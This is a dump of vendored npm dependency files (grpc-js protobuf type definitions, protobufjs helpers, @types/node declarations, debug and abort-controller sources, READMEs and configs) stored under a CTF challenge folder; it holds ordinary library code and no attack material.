export interface OneofDescriptorProto__Output { 11 | 'name': (string); 12 | 'options'?: (_google_protobuf_OneofOptions__Output); 13 | } 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/OneofOptions.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | import { UninterpretedOption as _google_protobuf_UninterpretedOption, UninterpretedOption__Output as _google_protobuf_UninterpretedOption__Output } from '../../google/protobuf/UninterpretedOption'; 4 | 5 | export interface OneofOptions { 6 | 'uninterpretedOption'?: (_google_protobuf_UninterpretedOption)[]; 7 | '.validate.required'?: (boolean); 8 | } 9 | 10 | export interface OneofOptions__Output { 11 | 'uninterpretedOption': (_google_protobuf_UninterpretedOption__Output)[]; 12 | '.validate.required': (boolean); 13 | } 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/ServiceOptions.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | import { UninterpretedOption as _google_protobuf_UninterpretedOption, UninterpretedOption__Output as _google_protobuf_UninterpretedOption__Output } from '../../google/protobuf/UninterpretedOption'; 4 | 5 | export interface ServiceOptions { 6 | 'deprecated'?: (boolean); 7 | 'uninterpretedOption'?: (_google_protobuf_UninterpretedOption)[]; 8 | } 9 | 10 | export interface ServiceOptions__Output { 11 | 'deprecated': (boolean); 12 | 'uninterpretedOption': (_google_protobuf_UninterpretedOption__Output)[]; 13 | } 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/StringValue.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | 4 | export interface StringValue { 5 | 'value'?: (string); 6 | } 7 | 8 | export interface StringValue__Output { 9 | 'value': (string); 10 | } 11 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/Struct.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | import { Value as _google_protobuf_Value, Value__Output as _google_protobuf_Value__Output } from '../../google/protobuf/Value'; 4 | 5 | export interface Struct { 6 | 'fields'?: ({[key: string]: _google_protobuf_Value}); 7 | } 8 | 9 | export interface Struct__Output { 10 | 'fields'?: ({[key: string]: _google_protobuf_Value__Output}); 11 | } 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/Timestamp.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | import { Long } from '@grpc/proto-loader'; 4 | 5 | export interface Timestamp { 6 | 'seconds'?: (number | string | Long); 7 | 'nanos'?: (number); 8 | } 9 | 10 | export interface Timestamp__Output { 11 | 'seconds': (string); 12 | 'nanos': (number); 13 | } 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/UInt32Value.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | 4 | export interface UInt32Value { 5 | 'value'?: (number); 6 | } 7 | 8 | export interface UInt32Value__Output { 9 | 'value': (number); 10 | } 11 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/UInt64Value.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | import { Long } from '@grpc/proto-loader'; 4 | 5 | export interface UInt64Value { 6 | 'value'?: (number | string | Long); 7 | } 8 | 9 | export interface UInt64Value__Output { 10 | 'value': (string); 11 | } 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/udpa/annotations/FileMigrateAnnotation.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/udpa/udpa/annotations/migrate.proto 2 | 3 | 4 | export interface FileMigrateAnnotation { 5 | /** 6 | * Move all types in the file to another package, this implies changing proto 7 | * file path. 8 | */ 9 | 'move_to_package'?: (string); 10 | } 11 | 12 | export interface FileMigrateAnnotation__Output { 13 | /** 14 | * Move all types in the file to another package, this implies changing proto 15 | * file path. 16 | */ 17 | 'move_to_package': (string); 18 | } 19 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/udpa/annotations/MigrateAnnotation.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/udpa/udpa/annotations/migrate.proto 2 | 3 | 4 | export interface MigrateAnnotation { 5 | /** 6 | * Rename the message/enum/enum value in next version. 7 | */ 8 | 'rename'?: (string); 9 | } 10 | 11 | export interface MigrateAnnotation__Output { 12 | /** 13 | * Rename the message/enum/enum value in next version. 14 | */ 15 | 'rename': (string); 16 | } 17 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/udpa/annotations/PackageVersionStatus.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/udpa/udpa/annotations/status.proto 2 | 3 | export enum PackageVersionStatus { 4 | /** 5 | * Unknown package version status. 6 | */ 7 | UNKNOWN = 0, 8 | /** 9 | * This version of the package is frozen. 10 | */ 11 | FROZEN = 1, 12 | /** 13 | * This version of the package is the active development version. 14 | */ 15 | ACTIVE = 2, 16 | /** 17 | * This version of the package is the candidate for the next major version. It 18 | * is typically machine generated from the active development version. 19 | */ 20 | NEXT_MAJOR_VERSION_CANDIDATE = 3, 21 | } 22 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/validate/BoolRules.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/protoc-gen-validate/validate/validate.proto 2 | 3 | 4 | /** 5 | * BoolRules describes the constraints applied to `bool` values 6 | */ 7 | export interface BoolRules { 8 | /** 9 | * Const specifies that this field must be exactly the specified value 10 | */ 11 | 'const'?: (boolean); 12 | } 13 | 14 | /** 15 | * BoolRules describes the constraints applied to `bool` values 16 | */ 17 | export interface BoolRules__Output { 18 | /** 19 | * Const specifies that this field must be exactly the specified value 20 | */ 21 | 'const': (boolean); 22 | } 23 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/validate/KnownRegex.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/protoc-gen-validate/validate/validate.proto 2 | 3 | /** 4 | * WellKnownRegex contain some well-known patterns. 5 | */ 6 | export enum KnownRegex { 7 | UNKNOWN = 0, 8 | /** 9 | * HTTP header name as defined by RFC 7230. 10 | */ 11 | HTTP_HEADER_NAME = 1, 12 | /** 13 | * HTTP header value as defined by RFC 7230. 14 | */ 15 | HTTP_HEADER_VALUE = 2, 16 | } 17 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@protobufjs/aspromise/README.md: -------------------------------------------------------------------------------- 1 | @protobufjs/aspromise 2 | ===================== 3 | [![npm](https://img.shields.io/npm/v/@protobufjs/aspromise.svg)](https://www.npmjs.com/package/@protobufjs/aspromise) 4 | 5 | Returns a promise from a node-style callback function. 6 | 7 | API 8 | --- 9 | 10 | * **asPromise(fn: `function`, ctx: `Object`, ...params: `*`): `Promise<*>`**
11 | Returns a promise from a node-style callback function. 12 | 13 | **License:** [BSD 3-Clause License](https://opensource.org/licenses/BSD-3-Clause) 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@protobufjs/aspromise/index.d.ts: -------------------------------------------------------------------------------- 1 | export = asPromise; 2 | 3 | type asPromiseCallback = (error: Error | null, ...params: any[]) => {}; 4 | 5 | /** 6 | * Returns a promise from a node-style callback function. 7 | * @memberof util 8 | * @param {asPromiseCallback} fn Function to call 9 | * @param {*} ctx Function context 10 | * @param {...*} params Function arguments 11 | * @returns {Promise<*>} Promisified function 12 | */ 13 | declare function asPromise(fn: asPromiseCallback, ctx: any, ...params: any[]): Promise; 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@protobufjs/codegen/tests/index.js: -------------------------------------------------------------------------------- 1 | var codegen = require(".."); 2 | 3 | // new require("benchmark").Suite().add("add", function() { 4 | 5 | var add = codegen(["a", "b"], "add") 6 | ("// awesome comment") 7 | ("return a + b - c + %d", 1) 8 | ({ c: 1 }); 9 | 10 | if (add(1, 2) !== 3) 11 | throw Error("failed"); 12 | 13 | // }).on("cycle", function(event) { process.stdout.write(String(event.target) + "\n"); }).run(); 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@protobufjs/fetch/README.md: -------------------------------------------------------------------------------- 1 | @protobufjs/fetch 2 | ================= 3 | [![npm](https://img.shields.io/npm/v/@protobufjs/fetch.svg)](https://www.npmjs.com/package/@protobufjs/fetch) 4 | 5 | Fetches the contents of a file accross node and browsers. 6 | 7 | API 8 | --- 9 | 10 | * **fetch(path: `string`, [options: { binary: boolean } ], [callback: `function(error: ?Error, [contents: string])`]): `Promise|undefined`** 11 | Fetches the contents of a file. 12 | 13 | **License:** [BSD 3-Clause License](https://opensource.org/licenses/BSD-3-Clause) 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@protobufjs/fetch/tests/index.js: -------------------------------------------------------------------------------- 1 | var tape = require("tape"); 2 | 3 | var fetch = require(".."); 4 | 5 | tape.test("fetch", function(test) { 6 | 7 | if (typeof Promise !== "undefined") { 8 | var promise = fetch("NOTFOUND"); 9 | promise.catch(function() {}); 10 | test.ok(promise instanceof Promise, "should return a promise if callback has been omitted"); 11 | } 12 | 13 | // TODO - some way to test this properly? 14 | 15 | test.end(); 16 | }); 17 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@protobufjs/inquire/.npmignore: -------------------------------------------------------------------------------- 1 | npm-debug.* 2 | node_modules/ 3 | coverage/ 4 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@protobufjs/inquire/README.md: -------------------------------------------------------------------------------- 1 | @protobufjs/inquire 2 | =================== 3 | [![npm](https://img.shields.io/npm/v/@protobufjs/inquire.svg)](https://www.npmjs.com/package/@protobufjs/inquire) 4 | 5 | Requires a module only if available and hides the require call from bundlers. 6 | 7 | API 8 | --- 9 | 10 | * **inquire(moduleName: `string`): `?Object`**
11 | Requires a module only if available. 12 | 13 | **License:** [BSD 3-Clause License](https://opensource.org/licenses/BSD-3-Clause) 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@protobufjs/inquire/index.d.ts: -------------------------------------------------------------------------------- 1 | export = inquire; 2 | 3 | /** 4 | * Requires a module only if available. 5 | * @memberof util 6 | * @param {string} moduleName Module to require 7 | * @returns {?Object} Required module if available and not empty, otherwise `null` 8 | */ 9 | declare function inquire(moduleName: string): Object; 10 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@protobufjs/inquire/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | module.exports = inquire; 3 | 4 | /** 5 | * Requires a module only if available. 6 | * @memberof util 7 | * @param {string} moduleName Module to require 8 | * @returns {?Object} Required module if available and not empty, otherwise `null` 9 | */ 10 | function inquire(moduleName) { 11 | try { 12 | var mod = eval("quire".replace(/^/,"re"))(moduleName); // eslint-disable-line no-eval 13 | if (mod && (mod.length || Object.keys(mod).length)) 14 | return mod; 15 | } catch (e) {} // eslint-disable-line no-empty 16 | return null; 17 | } 18 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@protobufjs/inquire/tests/data/array.js: -------------------------------------------------------------------------------- 1 | module.exports = [1]; 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@protobufjs/inquire/tests/data/emptyArray.js: -------------------------------------------------------------------------------- 1 | module.exports = []; 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@protobufjs/inquire/tests/data/emptyObject.js: -------------------------------------------------------------------------------- 1 | module.exports = {}; 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@protobufjs/inquire/tests/data/object.js: -------------------------------------------------------------------------------- 1 | module.exports = { a: 1 }; 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@protobufjs/pool/.npmignore: -------------------------------------------------------------------------------- 1 | npm-debug.* 2 | node_modules/ 3 | coverage/ 4 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@protobufjs/pool/README.md: -------------------------------------------------------------------------------- 1 | @protobufjs/pool 2 | ================ 3 | [![npm](https://img.shields.io/npm/v/@protobufjs/pool.svg)](https://www.npmjs.com/package/@protobufjs/pool) 4 | 5 | A general purpose buffer pool. 6 | 7 | API 8 | --- 9 | 10 | * **pool(alloc: `function(size: number): Uint8Array`, slice: `function(this: Uint8Array, start: number, end: number): Uint8Array`, [size=8192: `number`]): `function(size: number): Uint8Array`**
11 | Creates a pooled allocator. 12 | 13 | **License:** [BSD 3-Clause License](https://opensource.org/licenses/BSD-3-Clause) 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@protobufjs/utf8/.npmignore: -------------------------------------------------------------------------------- 1 | npm-debug.* 2 | node_modules/ 3 | coverage/ 4 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@types/color-name/README.md: -------------------------------------------------------------------------------- 1 | # Installation 2 | > `npm install --save @types/color-name` 3 | 4 | # Summary 5 | This package contains type definitions for color-name ( https://github.com/colorjs/color-name ). 6 | 7 | # Details 8 | Files were exported from https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/color-name 9 | 10 | Additional Details 11 | * Last updated: Wed, 13 Feb 2019 16:16:48 GMT 12 | * Dependencies: none 13 | * Global values: none 14 | 15 | # Credits 16 | These definitions were written by Junyoung Clare Jang . 17 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@types/long/README.md: -------------------------------------------------------------------------------- 1 | # Installation 2 | > `npm install --save @types/long` 3 | 4 | # Summary 5 | This package contains type definitions for long.js (https://github.com/dcodeIO/long.js). 6 | 7 | # Details 8 | Files were exported from https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/long. 9 | 10 | ### Additional Details 11 | * Last updated: Wed, 22 Jan 2020 19:19:46 GMT 12 | * Dependencies: none 13 | * Global values: `Long` 14 | 15 | # Credits 16 | These definitions were written by Peter Kooijmans (https://github.com/peterkooijmans). 17 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@types/node/console.d.ts: -------------------------------------------------------------------------------- 1 | declare module "console" { 2 | export = console; 3 | } 4 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@types/node/domain.d.ts: -------------------------------------------------------------------------------- 1 | declare module "domain" { 2 | import * as events from "events"; 3 | 4 | class Domain extends events.EventEmitter implements NodeJS.Domain { 5 | run(fn: (...args: any[]) => T, ...args: any[]): T; 6 | add(emitter: events.EventEmitter | NodeJS.Timer): void; 7 | remove(emitter: events.EventEmitter | NodeJS.Timer): void; 8 | bind(cb: T): T; 9 | intercept(cb: T): T; 10 | members: Array; 11 | enter(): void; 12 | exit(): void; 13 | } 14 | 15 | function create(): Domain; 16 | } 17 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@types/node/globals.global.d.ts: -------------------------------------------------------------------------------- 1 | declare var global: NodeJS.Global; 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@types/node/module.d.ts: -------------------------------------------------------------------------------- 1 | declare module "module" { 2 | export = NodeJS.Module; 3 | } 4 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@types/node/process.d.ts: -------------------------------------------------------------------------------- 1 | declare module "process" { 2 | import * as tty from "tty"; 3 | 4 | global { 5 | namespace NodeJS { 6 | // this namespace merge is here because these are specifically used 7 | // as the type for process.stdin, process.stdout, and process.stderr. 8 | // they can't live in tty.d.ts because we need to disambiguate the imported name. 9 | interface ReadStream extends tty.ReadStream {} 10 | interface WriteStream extends tty.WriteStream {} 11 | } 12 | } 13 | 14 | export = process; 15 | } 16 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@types/node/punycode.d.ts: -------------------------------------------------------------------------------- 1 | declare module "punycode" { 2 | function decode(string: string): string; 3 | function encode(string: string): string; 4 | function toUnicode(domain: string): string; 5 | function toASCII(domain: string): string; 6 | const ucs2: ucs2; 7 | interface ucs2 { 8 | decode(string: string): number[]; 9 | encode(codePoints: number[]): string; 10 | } 11 | const version: string; 12 | } 13 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@types/node/string_decoder.d.ts: -------------------------------------------------------------------------------- 1 | declare module "string_decoder" { 2 | class StringDecoder { 3 | constructor(encoding?: string); 4 | write(buffer: Buffer): string; 5 | end(buffer?: Buffer): string; 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@types/node/ts3.2/index.d.ts: -------------------------------------------------------------------------------- 1 | // NOTE: These definitions support NodeJS and TypeScript 3.2. 2 | // This is requried to enable globalThis support for global in ts3.4 without causing errors 3 | // This is requried to enable typing assert in ts3.7 without causing errors 4 | // Typically type modifiations should be made in base.d.ts instead of here 5 | 6 | /// 7 | 8 | // tslint:disable-next-line:no-bad-reference 9 | /// 10 | 11 | // tslint:disable-next-line:no-bad-reference 12 | /// 13 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@types/node/ts3.2/util.d.ts: -------------------------------------------------------------------------------- 1 | // tslint:disable-next-line:no-bad-reference 2 | /// 3 | 4 | declare module "util" { 5 | namespace inspect { 6 | const custom: unique symbol; 7 | } 8 | namespace promisify { 9 | const custom: unique symbol; 10 | } 11 | namespace types { 12 | function isBigInt64Array(value: any): value is BigInt64Array; 13 | function isBigUint64Array(value: any): value is BigUint64Array; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@types/node/ts3.4/globals.global.d.ts: -------------------------------------------------------------------------------- 1 | declare var global: NodeJS.Global & typeof globalThis; 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@types/node/ts3.4/index.d.ts: -------------------------------------------------------------------------------- 1 | // NOTE: These definitions support NodeJS and TypeScript 3.4. 2 | // This is requried to enable typing assert in ts3.7 without causing errors 3 | // Typically type modifiations should be made in base.d.ts instead of here 4 | 5 | /// 6 | 7 | // tslint:disable-next-line:no-bad-reference 8 | /// 9 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@types/node/ts3.7/index.d.ts: -------------------------------------------------------------------------------- 1 | // NOTE: These definitions support NodeJS and TypeScript 3.7. 2 | // This isn't strictly needed since 3.7 has the assert module, but this way we're consistent. 3 | // Typically type modificatons should be made in base.d.ts instead of here 4 | 5 | /// 6 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/abort-controller/browser.js: -------------------------------------------------------------------------------- 1 | /*globals self, window */ 2 | "use strict" 3 | 4 | /*eslint-disable @mysticatea/prettier */ 5 | const { AbortController, AbortSignal } = 6 | typeof self !== "undefined" ? self : 7 | typeof window !== "undefined" ? window : 8 | /* otherwise */ undefined 9 | /*eslint-enable @mysticatea/prettier */ 10 | 11 | module.exports = AbortController 12 | module.exports.AbortSignal = AbortSignal 13 | module.exports.default = AbortController 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/abort-controller/browser.mjs: -------------------------------------------------------------------------------- 1 | /*globals self, window */ 2 | 3 | /*eslint-disable @mysticatea/prettier */ 4 | const { AbortController, AbortSignal } = 5 | typeof self !== "undefined" ? self : 6 | typeof window !== "undefined" ? window : 7 | /* otherwise */ undefined 8 | /*eslint-enable @mysticatea/prettier */ 9 | 10 | export default AbortController 11 | export { AbortController, AbortSignal } 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/abort-controller/polyfill.js: -------------------------------------------------------------------------------- 1 | /*globals require, self, window */ 2 | "use strict" 3 | 4 | const ac = require("./dist/abort-controller") 5 | 6 | /*eslint-disable @mysticatea/prettier */ 7 | const g = 8 | typeof self !== "undefined" ? self : 9 | typeof window !== "undefined" ? window : 10 | typeof global !== "undefined" ? global : 11 | /* otherwise */ undefined 12 | /*eslint-enable @mysticatea/prettier */ 13 | 14 | if (g) { 15 | if (typeof g.AbortController === "undefined") { 16 | g.AbortController = ac.AbortController 17 | } 18 | if (typeof g.AbortSignal === "undefined") { 19 | g.AbortSignal = ac.AbortSignal 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/abort-controller/polyfill.mjs: -------------------------------------------------------------------------------- 1 | /*globals self, window */ 2 | import * as ac from "./dist/abort-controller" 3 | 4 | /*eslint-disable @mysticatea/prettier */ 5 | const g = 6 | typeof self !== "undefined" ? self : 7 | typeof window !== "undefined" ? window : 8 | typeof global !== "undefined" ? global : 9 | /* otherwise */ undefined 10 | /*eslint-enable @mysticatea/prettier */ 11 | 12 | if (g) { 13 | if (typeof g.AbortController === "undefined") { 14 | g.AbortController = ac.AbortController 15 | } 16 | if (typeof g.AbortSignal === "undefined") { 17 | g.AbortSignal = ac.AbortSignal 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/agent-base/dist/src/promisify.d.ts: -------------------------------------------------------------------------------- 1 | import { ClientRequest, RequestOptions, AgentCallbackCallback, AgentCallbackPromise } from './index'; 2 | declare type LegacyCallback = (req: ClientRequest, opts: RequestOptions, fn: AgentCallbackCallback) => void; 3 | export default function promisify(fn: LegacyCallback): AgentCallbackPromise; 4 | export {}; 5 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/agent-base/dist/src/promisify.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | Object.defineProperty(exports, "__esModule", { value: true }); 3 | function promisify(fn) { 4 | return function (req, opts) { 5 | return new Promise((resolve, reject) => { 6 | fn.call(this, req, opts, (err, rtn) => { 7 | if (err) { 8 | reject(err); 9 | } 10 | else { 11 | resolve(rtn); 12 | } 13 | }); 14 | }); 15 | }; 16 | } 17 | exports.default = promisify; 18 | //# sourceMappingURL=promisify.js.map -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/agent-base/dist/src/promisify.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"promisify.js","sourceRoot":"","sources":["../../src/promisify.ts"],"names":[],"mappings":";;AAeA,SAAwB,SAAS,CAAC,EAAkB;IACnD,OAAO,UAAsB,GAAkB,EAAE,IAAoB;QACpE,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,MAAM,EAAE,EAAE;YACtC,EAAE,CAAC,IAAI,CACN,IAAI,EACJ,GAAG,EACH,IAAI,EACJ,CAAC,GAA6B,EAAE,GAAyB,EAAE,EAAE;gBAC5D,IAAI,GAAG,EAAE;oBACR,MAAM,CAAC,GAAG,CAAC,CAAC;iBACZ;qBAAM;oBACN,OAAO,CAAC,GAAG,CAAC,CAAC;iBACb;YACF,CAAC,CACD,CAAC;QACH,CAAC,CAAC,CAAC;IACJ,CAAC,CAAC;AACH,CAAC;AAjBD,4BAiBC"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/ansi-regex/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | module.exports = ({onlyFirst = false} = {}) => { 4 | const pattern = [ 5 | '[\\u001B\\u009B][[\\]()#;?]*(?:(?:(?:[a-zA-Z\\d]*(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*)?\\u0007)', 6 | '(?:(?:\\d{1,4}(?:;\\d{0,4})*)?[\\dA-PR-TZcf-ntqry=><~]))' 7 | ].join('|'); 8 | 9 | return new RegExp(pattern, onlyFirst ? undefined : 'g'); 10 | }; 11 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/arrify/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const arrify = value => { 4 | if (value === null || value === undefined) { 5 | return []; 6 | } 7 | 8 | if (Array.isArray(value)) { 9 | return value; 10 | } 11 | 12 | if (typeof value === 'string') { 13 | return [value]; 14 | } 15 | 16 | if (typeof value[Symbol.iterator] === 'function') { 17 | return [...value]; 18 | } 19 | 20 | return [value]; 21 | }; 22 | 23 | module.exports = arrify; 24 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/body-parser/node_modules/debug/.coveralls.yml: -------------------------------------------------------------------------------- 1 | repo_token: SIAeZjKYlHK74rbcFvNHMUzjRiMpflxve 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/body-parser/node_modules/debug/.eslintrc: -------------------------------------------------------------------------------- 1 | { 2 | "env": { 3 | "browser": true, 4 | "node": true 5 | }, 6 | "rules": { 7 | "no-console": 0, 8 | "no-empty": [1, { "allowEmptyCatch": true }] 9 | }, 10 | "extends": "eslint:recommended" 11 | } 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/body-parser/node_modules/debug/.npmignore: -------------------------------------------------------------------------------- 1 | support 2 | test 3 | examples 4 | example 5 | *.sock 6 | dist 7 | yarn.lock 8 | coverage 9 | bower.json 10 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/body-parser/node_modules/debug/.travis.yml: -------------------------------------------------------------------------------- 1 | 2 | language: node_js 3 | node_js: 4 | - "6" 5 | - "5" 6 | - "4" 7 | 8 | install: 9 | - make node_modules 10 | 11 | script: 12 | - make lint 13 | - make test 14 | - make coveralls 15 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/body-parser/node_modules/debug/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "debug", 3 | "repo": "visionmedia/debug", 4 | "description": "small debugging utility", 5 | "version": "2.6.9", 6 | "keywords": [ 7 | "debug", 8 | "log", 9 | "debugger" 10 | ], 11 | "main": "src/browser.js", 12 | "scripts": [ 13 | "src/browser.js", 14 | "src/debug.js" 15 | ], 16 | "dependencies": { 17 | "rauchg/ms.js": "0.7.1" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/body-parser/node_modules/debug/node.js: -------------------------------------------------------------------------------- 1 | module.exports = require('./src/node'); 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/body-parser/node_modules/debug/src/index.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Detect Electron renderer process, which is node, but we should 3 | * treat as a browser. 4 | */ 5 | 6 | if (typeof process !== 'undefined' && process.type === 'renderer') { 7 | module.exports = require('./browser.js'); 8 | } else { 9 | module.exports = require('./node.js'); 10 | } 11 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/body-parser/node_modules/debug/src/inspector-log.js: -------------------------------------------------------------------------------- 1 | module.exports = inspectorLog; 2 | 3 | // black hole 4 | const nullStream = new (require('stream').Writable)(); 5 | nullStream._write = () => {}; 6 | 7 | /** 8 | * Outputs a `console.log()` to the Node.js Inspector console *only*. 9 | */ 10 | function inspectorLog() { 11 | const stdout = console._stdout; 12 | console._stdout = nullStream; 13 | console.log.apply(console, arguments); 14 | console._stdout = stdout; 15 | } 16 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/buffer-equal-constant-time/.npmignore: -------------------------------------------------------------------------------- 1 | .*.sw[mnop] 2 | node_modules/ 3 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/buffer-equal-constant-time/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | node_js: 3 | - "0.11" 4 | - "0.10" 5 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/color-name/README.md: -------------------------------------------------------------------------------- 1 | A JSON with color names and its values. Based on http://dev.w3.org/csswg/css-color/#named-colors. 2 | 3 | [![NPM](https://nodei.co/npm/color-name.png?mini=true)](https://nodei.co/npm/color-name/) 4 | 5 | 6 | ```js 7 | var colors = require('color-name'); 8 | colors.red //[255,0,0] 9 | ``` 10 | 11 | 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/content-type/HISTORY.md: -------------------------------------------------------------------------------- 1 | 1.0.4 / 2017-09-11 2 | ================== 3 | 4 | * perf: skip parameter parsing when no parameters 5 | 6 | 